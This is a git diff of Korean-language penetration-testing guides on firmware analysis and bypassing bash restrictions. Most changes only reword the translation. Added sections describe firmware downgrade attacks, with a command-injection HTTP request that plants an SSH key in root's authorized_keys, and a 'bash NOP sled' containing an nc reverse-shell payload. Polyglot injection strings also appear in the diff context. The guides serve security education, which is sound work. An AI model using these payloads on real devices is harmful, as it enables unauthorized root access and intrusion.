diff --git a/src/hardware-physical-access/firmware-analysis/README.md b/src/hardware-physical-access/firmware-analysis/README.md index 8957fb016..07d54d42a 100644 --- a/src/hardware-physical-access/firmware-analysis/README.md +++ b/src/hardware-physical-access/firmware-analysis/README.md @@ -4,11 +4,11 @@ ## **소개** -펌웨어는 하드웨어 구성 요소와 사용자가 상호작용하는 소프트웨어 간의 통신을 관리하고 촉진하여 장치가 올바르게 작동할 수 있도록 하는 필수 소프트웨어입니다. 이는 영구 메모리에 저장되어 장치가 전원이 켜지는 순간부터 중요한 지침에 접근할 수 있도록 하여 운영 체제가 시작됩니다. 펌웨어를 조사하고 잠재적으로 수정하는 것은 보안 취약점을 식별하는 데 중요한 단계입니다. +펌웨어는 하드웨어 구성 요소와 사용자가 상호작용하는 소프트웨어 간의 통신을 관리하고 촉진하여 장치가 올바르게 작동하도록 하는 필수 소프트웨어입니다. 이는 영구 메모리에 저장되어 장치가 전원이 켜지는 순간부터 중요한 지침에 접근할 수 있도록 하여 운영 체제가 시작됩니다. 펌웨어를 조사하고 잠재적으로 수정하는 것은 보안 취약점을 식별하는 데 중요한 단계입니다. ## **정보 수집** -**정보 수집**은 장치의 구성과 사용되는 기술을 이해하는 데 중요한 초기 단계입니다. 이 과정은 다음에 대한 데이터를 수집하는 것을 포함합니다: +**정보 수집**은 장치의 구성과 사용하는 기술을 이해하는 데 중요한 초기 단계입니다. 이 과정은 다음에 대한 데이터를 수집하는 것을 포함합니다: - CPU 아키텍처 및 운영 체제 - 부트로더 세부사항 @@ -23,7 +23,7 @@ ## **펌웨어 획득** -펌웨어를 얻는 방법은 여러 가지가 있으며, 각 방법은 복잡성의 수준이 다릅니다: +펌웨어를 얻는 방법은 여러 가지가 있으며, 각 방법마다 복잡성의 수준이 다릅니다: - **소스**(개발자, 제조업체)에서 직접 - 제공된 지침에 따라 **구축** @@ -39,7 +39,7 @@ ## 펌웨어 분석 -이제 **펌웨어를 확보**했으므로, 이를 처리하는 방법을 알기 위해 정보를 추출해야 합니다. 이를 위해 사용할 수 있는 다양한 도구가 있습니다: +이제 **펌웨어를 확보**했으므로, 이를 처리하는 방법을 알기 위해 정보 추출이 필요합니다. 이를 위해 사용할 수 있는 다양한 도구: ```bash file strings -n8 @@ -48,7 +48,7 @@ hexdump -C -n 512 > hexdump.out hexdump -C | head # might find signatures in header fdisk -lu #lists a drives partition and filesystems if multiple ``` -해당 도구로 많은 것을 찾지 못했다면 `binwalk -E `로 이미지의 **엔트로피**를 확인하세요. 엔트로피가 낮으면 암호화되지 않았을 가능성이 높습니다. 엔트로피가 높으면 암호화되었거나 어떤 방식으로든 압축되었을 가능성이 있습니다. +해당 도구로 많은 것을 찾지 못한 경우, `binwalk -E `로 이미지의 **엔트로피**를 확인하세요. 엔트로피가 낮으면 암호화되지 않았을 가능성이 높습니다. 엔트로피가 높으면 암호화되었거나 어떤 방식으로든 압축되었을 가능성이 높습니다. 또한, 이러한 도구를 사용하여 **펌웨어에 내장된 파일**을 추출할 수 있습니다: @@ -77,7 +77,7 @@ DECIMAL HEXADECIMAL DESCRIPTION 1704052 0x1A0074 PackImg section delimiter tag, little endian size: 32256 bytes; big endian size: 8257536 bytes 1704084 0x1A0094 Squashfs filesystem, little endian, version 4.0, compression:lzma, size: 8256900 bytes, 2688 inodes, blocksize: 131072 bytes, created: 2016-07-12 02:28:41 ``` -다음 **dd 명령어**를 실행하여 Squashfs 파일 시스템을 조각냅니다. +다음 **dd 명령어**를 실행하여 Squashfs 파일 시스템을 조각내십시오. ``` $ dd if=DIR850L_REVB.bin bs=1 skip=1704084 of=dir.squashfs @@ -95,7 +95,7 @@ $ dd if=DIR850L_REVB.bin bs=1 skip=1704084 of=dir.squashfs `$ unsquashfs dir.squashfs` -파일은 이후에 "`squashfs-root`" 디렉토리에 있을 것입니다. +파일은 이후 "`squashfs-root`" 디렉토리에 있을 것입니다. - CPIO 아카이브 파일 @@ -126,7 +126,7 @@ hexdump -C -n 512 > hexdump.out hexdump -C | head #useful for finding signatures in the header fdisk -lu #lists partitions and filesystems, if there are multiple ``` -이미지의 암호화 상태를 평가하기 위해 **entropy**는 `binwalk -E `으로 확인됩니다. 낮은 엔트로피는 암호화가 없음을 나타내고, 높은 엔트로피는 가능한 암호화 또는 압축을 나타냅니다. +이미지의 암호화 상태를 평가하기 위해 **entropy**는 `binwalk -E `으로 확인됩니다. 낮은 엔트로피는 암호화가 없음을 시사하며, 높은 엔트로피는 가능한 암호화 또는 압축을 나타냅니다. **임베디드 파일**을 추출하기 위해서는 **file-data-carving-recovery-tools** 문서와 파일 검사를 위한 **binvis.io**와 같은 도구와 리소스가 추천됩니다. @@ -138,11 +138,11 @@ $ binwalk DIR850L_REVB.bin $ dd if=DIR850L_REVB.bin bs=1 skip=1704084 of=dir.squashfs ``` -그 후, 파일 시스템 유형(예: squashfs, cpio, jffs2, ubifs)에 따라 내용을 수동으로 추출하는 데 사용되는 다양한 명령이 있습니다. +이후, 파일 시스템 유형(예: squashfs, cpio, jffs2, ubifs)에 따라 수동으로 내용을 추출하는 데 사용되는 다양한 명령이 있습니다. ### 파일 시스템 분석 -파일 시스템이 추출되면 보안 결함을 찾기 시작합니다. 불안전한 네트워크 데몬, 하드코딩된 자격 증명, API 엔드포인트, 업데이트 서버 기능, 컴파일되지 않은 코드, 시작 스크립트 및 오프라인 분석을 위한 컴파일된 바이너드에 주의가 기울여집니다. +파일 시스템이 추출되면 보안 결함을 찾기 시작합니다. 불안전한 네트워크 데몬, 하드코딩된 자격 증명, API 엔드포인트, 업데이트 서버 기능, 컴파일되지 않은 코드, 시작 스크립트 및 오프라인 분석을 위한 컴파일된 바이너드에 주의를 기울입니다. **검사할 주요 위치** 및 **항목**은 다음과 같습니다: @@ -164,7 +164,7 @@ $ dd if=DIR850L_REVB.bin bs=1 skip=1704084 of=dir.squashfs ## 동적 분석을 위한 펌웨어 에뮬레이션 -펌웨어를 에뮬레이트하는 과정은 장치의 작동 또는 개별 프로그램의 **동적 분석**을 가능하게 합니다. 이 접근 방식은 하드웨어 또는 아키텍처 의존성으로 인해 어려움이 발생할 수 있지만, 루트 파일 시스템이나 특정 바이너리를 Raspberry Pi와 같은 일치하는 아키텍처 및 엔디안성을 가진 장치로 전송하거나 미리 구축된 가상 머신으로 전송하면 추가 테스트를 용이하게 할 수 있습니다. +펌웨어를 에뮬레이트하는 과정은 장치의 작동 또는 개별 프로그램의 **동적 분석**을 가능하게 합니다. 이 접근 방식은 하드웨어 또는 아키텍처 의존성으로 인해 어려움이 발생할 수 있지만, 루트 파일 시스템이나 특정 바이너리를 Raspberry Pi와 같은 일치하는 아키텍처 및 엔디안성을 가진 장치 또는 미리 구축된 가상 머신으로 전송하면 추가 테스트를 용이하게 할 수 있습니다. ### 개별 바이너리 에뮬레이션 @@ -180,11 +180,11 @@ file ./squashfs-root/bin/busybox ```bash sudo apt-get install qemu qemu-user qemu-user-static qemu-system-arm qemu-system-mips qemu-system-x86 qemu-utils ``` -MIPS (빅 엔디안)의 경우 `qemu-mips`가 사용되며, 리틀 엔디안 바이너리의 경우 `qemu-mipsel`이 선택됩니다. +MIPS (big-endian)의 경우 `qemu-mips`가 사용되며, little-endian 바이너리의 경우 `qemu-mipsel`이 선택됩니다. #### ARM 아키텍처 에뮬레이션 -ARM 바이너리의 경우, 프로세스는 유사하며, 에뮬레이션을 위해 `qemu-arm` 에뮬레이터가 사용됩니다. +ARM 바이너리의 경우, 프로세스는 유사하며, `qemu-arm` 에뮬레이터가 에뮬레이션에 사용됩니다. ### 전체 시스템 에뮬레이션 @@ -192,7 +192,7 @@ ARM 바이너리의 경우, 프로세스는 유사하며, 에뮬레이션을 위 ## 동적 분석 실습 -이 단계에서는 실제 또는 에뮬레이션된 장치 환경을 사용하여 분석을 수행합니다. OS 및 파일 시스템에 대한 셸 접근을 유지하는 것이 중요합니다. 에뮬레이션이 하드웨어 상호작용을 완벽하게 모방하지 못할 수 있으므로 가끔 에뮬레이션을 재시작해야 할 필요가 있습니다. 분석은 파일 시스템을 재검토하고, 노출된 웹페이지 및 네트워크 서비스를 이용하며, 부트로더 취약점을 탐색해야 합니다. 펌웨어 무결성 테스트는 잠재적인 백도어 취약점을 식별하는 데 중요합니다. +이 단계에서는 실제 또는 에뮬레이션된 장치 환경이 분석에 사용됩니다. OS 및 파일 시스템에 대한 셸 접근을 유지하는 것이 중요합니다. 에뮬레이션이 하드웨어 상호작용을 완벽하게 모방하지 못할 수 있으므로 가끔 에뮬레이션을 재시작해야 할 필요가 있습니다. 분석은 파일 시스템을 재검토하고, 노출된 웹페이지 및 네트워크 서비스를 이용하며, 부트로더 취약점을 탐색해야 합니다. 펌웨어 무결성 테스트는 잠재적인 백도어 취약점을 식별하는 데 중요합니다. ## 런타임 분석 기법 @@ -200,7 +200,7 @@ ARM 바이너리의 경우, 프로세스는 유사하며, 에뮬레이션을 위 ## 바이너리 익스플로잇 및 개념 증명 -식별된 취약점에 대한 PoC를 개발하려면 대상 아키텍처에 대한 깊은 이해와 저수준 언어로 프로그래밍하는 능력이 필요합니다. 임베디드 시스템의 바이너리 런타임 보호는 드물지만, 존재할 경우 Return Oriented Programming (ROP)과 같은 기법이 필요할 수 있습니다. +식별된 취약점에 대한 PoC를 개발하려면 대상 아키텍처에 대한 깊은 이해와 저수준 언어로 프로그래밍하는 능력이 필요합니다. 임베디드 시스템에서 바이너리 런타임 보호는 드물지만, 존재할 경우 Return Oriented Programming (ROP)과 같은 기법이 필요할 수 있습니다. ## 펌웨어 분석을 위한 준비된 운영 체제 @@ -208,12 +208,55 @@ ARM 바이너리의 경우, 프로세스는 유사하며, 에뮬레이션을 위 ## 펌웨어 분석을 위한 준비된 OS -- [**AttifyOS**](https://github.com/adi0x90/attifyos): AttifyOS는 사물인터넷(IoT) 장치의 보안 평가 및 침투 테스트를 수행하는 데 도움을 주기 위해 설계된 배포판입니다. 필요한 모든 도구가 로드된 사전 구성된 환경을 제공하여 많은 시간을 절약할 수 있습니다. +- [**AttifyOS**](https://github.com/adi0x90/attifyos): AttifyOS는 IoT 장치의 보안 평가 및 침투 테스트를 수행하는 데 도움을 주기 위해 설계된 배포판입니다. 필요한 모든 도구가 로드된 사전 구성된 환경을 제공하여 많은 시간을 절약할 수 있습니다. - [**EmbedOS**](https://github.com/scriptingxss/EmbedOS): 펌웨어 보안 테스트 도구가 사전 로드된 Ubuntu 18.04 기반의 임베디드 보안 테스트 운영 체제입니다. -## 연습을 위한 취약한 펌웨어 +## 펌웨어 다운그레이드 공격 및 안전하지 않은 업데이트 메커니즘 -펌웨어에서 취약점을 발견하는 연습을 위해 다음의 취약한 펌웨어 프로젝트를 시작점으로 사용하십시오. +벤더가 펌웨어 이미지에 대한 암호화 서명 검사를 구현하더라도, **버전 롤백(다운그레이드) 보호는 자주 생략됩니다**. 부트 또는 복구 로더가 내장된 공개 키로 서명만 검증하고 플래시되는 이미지의 *버전* (또는 단조 카운터)을 비교하지 않으면, 공격자는 **여전히 유효한 서명을 가진 이전의 취약한 펌웨어를 정당하게 설치**할 수 있으며, 따라서 패치된 취약점을 다시 도입할 수 있습니다. + +전형적인 공격 워크플로우: + +1. **이전 서명된 이미지 확보** +* 벤더의 공개 다운로드 포털, CDN 또는 지원 사이트에서 가져옵니다. +* 동반 모바일/데스크탑 애플리케이션에서 추출합니다 (예: Android APK의 `assets/firmware/` 내부). +* VirusTotal, 인터넷 아카이브, 포럼 등과 같은 제3자 리포지토리에서 검색합니다. +2. **노출된 업데이트 채널을 통해 장치에 이미지를 업로드하거나 제공합니다**: +* 웹 UI, 모바일 앱 API, USB, TFTP, MQTT 등. +* 많은 소비자 IoT 장치는 Base64로 인코딩된 펌웨어 블롭을 수용하는 *인증되지 않은* HTTP(S) 엔드포인트를 노출하여 서버 측에서 디코딩하고 복구/업그레이드를 트리거합니다. +3. 다운그레이드 후, 최신 릴리스에서 패치된 취약점을 이용합니다 (예: 나중에 추가된 명령 주입 필터). +4. 선택적으로 최신 이미지를 다시 플래시하거나 지속성을 확보한 후 탐지를 피하기 위해 업데이트를 비활성화합니다. + +### 예: 다운그레이드 후 명령 주입 +```http +POST /check_image_and_trigger_recovery?md5=1; echo 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC...' >> /root/.ssh/authorized_keys HTTP/1.1 +Host: 192.168.0.1 +Content-Type: application/octet-stream +Content-Length: 0 +``` +취약한 (다운그레이드된) 펌웨어에서 `md5` 매개변수는 정화 없이 쉘 명령에 직접 연결되어 임의의 명령 주입을 허용합니다 (여기서는 SSH 키 기반 루트 액세스 활성화). 이후 펌웨어 버전에서는 기본 문자 필터가 도입되었지만, 다운그레이드 보호의 부재로 인해 수정이 무의미해졌습니다. + +### 모바일 앱에서 펌웨어 추출하기 + +많은 공급업체가 전체 펌웨어 이미지를 동반 모바일 애플리케이션에 포함시켜 앱이 Bluetooth/Wi-Fi를 통해 장치를 업데이트할 수 있도록 합니다. 이러한 패키지는 일반적으로 `assets/fw/` 또는 `res/raw/`와 같은 경로의 APK/APEX에 암호화되지 않은 상태로 저장됩니다. `apktool`, `ghidra` 또는 일반 `unzip`과 같은 도구를 사용하면 물리적 하드웨어를 건드리지 않고 서명된 이미지를 추출할 수 있습니다. +``` +$ apktool d vendor-app.apk -o vendor-app +$ ls vendor-app/assets/firmware +firmware_v1.3.11.490_signed.bin +``` +### 업데이트 로직 평가 체크리스트 + +* *업데이트 엔드포인트*의 전송/인증이 적절히 보호되고 있습니까 (TLS + 인증)? +* 장치가 플래싱 전에 **버전 번호** 또는 **단조 증가 방지 카운터**를 비교합니까? +* 이미지가 보안 부팅 체인 내에서 검증됩니까 (예: ROM 코드에 의해 서명 확인)? +* 사용자 공간 코드가 추가적인 유효성 검사를 수행합니까 (예: 허용된 파티션 맵, 모델 번호)? +* *부분* 또는 *백업* 업데이트 흐름이 동일한 검증 로직을 재사용하고 있습니까? + +> 💡 위의 항목 중 하나라도 누락되면, 플랫폼은 롤백 공격에 취약할 가능성이 높습니다. + +## 연습할 취약한 펌웨어 + +펌웨어에서 취약점을 발견하는 연습을 하려면, 다음의 취약한 펌웨어 프로젝트를 시작점으로 사용하십시오. - OWASP IoTGoat - [https://github.com/OWASP/IoTGoat](https://github.com/OWASP/IoTGoat) @@ -232,6 +275,7 @@ ARM 바이너리의 경우, 프로세스는 유사하며, 에뮬레이션을 위 - [https://scriptingxss.gitbook.io/firmware-security-testing-methodology/](https://scriptingxss.gitbook.io/firmware-security-testing-methodology/) - [Practical IoT Hacking: The Definitive Guide to Attacking the Internet of Things](https://www.amazon.co.uk/Practical-IoT-Hacking-F-Chantzis/dp/1718500904) +- [Exploiting zero days in abandoned hardware – Trail of Bits blog](https://blog.trailofbits.com/2025/07/25/exploiting-zero-days-in-abandoned-hardware/) ## 교육 및 인증 diff --git a/src/linux-hardening/bypass-bash-restrictions/README.md b/src/linux-hardening/bypass-bash-restrictions/README.md index 0dbd0f731..a2a593d53 100644 --- a/src/linux-hardening/bypass-bash-restrictions/README.md +++ b/src/linux-hardening/bypass-bash-restrictions/README.md @@ -197,7 +197,7 @@ chmod +x [ export PATH=/tmp:$PATH if [ "a" ]; then echo 1; fi # Will print hello! ``` -### 다중 언어 명령 주입 +### 폴리글롯 명령 주입 ```bash 1;sleep${IFS}9;#${IFS}';sleep${IFS}9;#${IFS}";sleep${IFS}9;#${IFS} /*$(sleep 5)`sleep 5``*/-sleep(5)-'/*$(sleep 5)`sleep 5` #*/-sleep(5)||'"||sleep(5)||"/*`*/ @@ -259,7 +259,7 @@ ln /f* ## If there is a file /flag.txt that will create a hard link ## to it in the current folder ``` -### 4글자로 RCE +### 4자 RCE ```bash # In a similar fashion to the previous bypass this one just need 4 chars to execute commands # it will follow the same principle of creating the command `ls -t>g` in a file @@ -294,25 +294,47 @@ ln /f* 'sh x' 'sh g' ``` -## 읽기 전용/실행 금지/디스트로레스 우회 +## Read-Only/Noexec/Distroless Bypass -**읽기 전용 및 실행 금지 보호**가 있는 파일 시스템이나 디스트로레스 컨테이너 내에 있더라도, **임의의 바이너리, 심지어 쉘을 실행할 수 있는 방법이 여전히 있습니다!:** +파일 시스템에 **읽기 전용 및 noexec 보호**가 있거나 심지어 distroless 컨테이너에 있는 경우에도 **임의의 바이너리, 심지어 셸을 실행할 수 있는 방법이 여전히 있습니다!:** {{#ref}} bypass-fs-protections-read-only-no-exec-distroless/ {{#endref}} -## Chroot 및 기타 감옥 우회 +## Chroot & other Jails Bypass {{#ref}} ../privilege-escalation/escaping-from-limited-bash.md {{#endref}} -## 참고자료 및 추가 정보 +## Space-Based Bash NOP Sled ("Bashsledding") + +취약점이 `system()` 또는 다른 셸에 도달하는 인수를 부분적으로 제어할 수 있게 해줄 때, 실행이 페이로드를 읽기 시작하는 정확한 오프셋을 알지 못할 수 있습니다. 전통적인 NOP 슬레드(예: `\x90`)는 셸 구문에서 **작동하지 않지만**, Bash는 명령을 실행하기 전에 선행 공백을 무해하게 무시합니다. + +따라서 실제 명령 앞에 긴 공백 또는 탭 문자의 시퀀스를 추가하여 *Bash용 NOP 슬레드*를 만들 수 있습니다: +```bash +# Payload sprayed into an environment variable / NVRAM entry +" nc -e /bin/sh 10.0.0.1 4444" +# 16× spaces ───┘ ↑ real command +``` +만약 ROP 체인(또는 다른 메모리 손상 원시)이 명령 포인터를 공간 블록 내의 어느 곳에나 위치시키면, Bash 파서는 단순히 공백을 건너뛰고 `nc`에 도달하여 명령을 신뢰성 있게 실행합니다. + +실용적인 사용 사례: + +1. **메모리 매핑된 구성 블롭**(예: NVRAM)으로 프로세스 간에 접근 가능. +2. 공격자가 페이로드를 정렬하기 위해 NULL 바이트를 쓸 수 없는 상황. +3. 오직 BusyBox `ash`/`sh`만 사용 가능한 임베디드 장치 – 이들은 또한 선행 공백을 무시합니다. + +> 🛠️ 이 트릭을 `system()`을 호출하는 ROP 가젯과 결합하여 메모리 제약이 있는 IoT 라우터에서 익스플로잇의 신뢰성을 극적으로 증가시킵니다. + +## 참고 문헌 및 추가 자료 - [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection#exploits](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection#exploits) - [https://github.com/Bo0oM/WAF-bypass-Cheat-Sheet](https://github.com/Bo0oM/WAF-bypass-Cheat-Sheet) - [https://medium.com/secjuice/web-application-firewall-waf-evasion-techniques-2-125995f3e7b0](https://medium.com/secjuice/web-application-firewall-waf-evasion-techniques-2-125995f3e7b0) -- [https://www.secjuice.com/web-application-firewall-waf-evasion/](https://www.secju +- [https://www.secjuice.com/web-application-firewall-waf-evasion/](https://www.secju) + +- [Exploiting zero days in abandoned hardware – Trail of Bits blog](https://blog.trailofbits.com/2025/07/25/exploiting-zero-days-in-abandoned-hardware/) {{#include ../../banners/hacktricks-training.md}}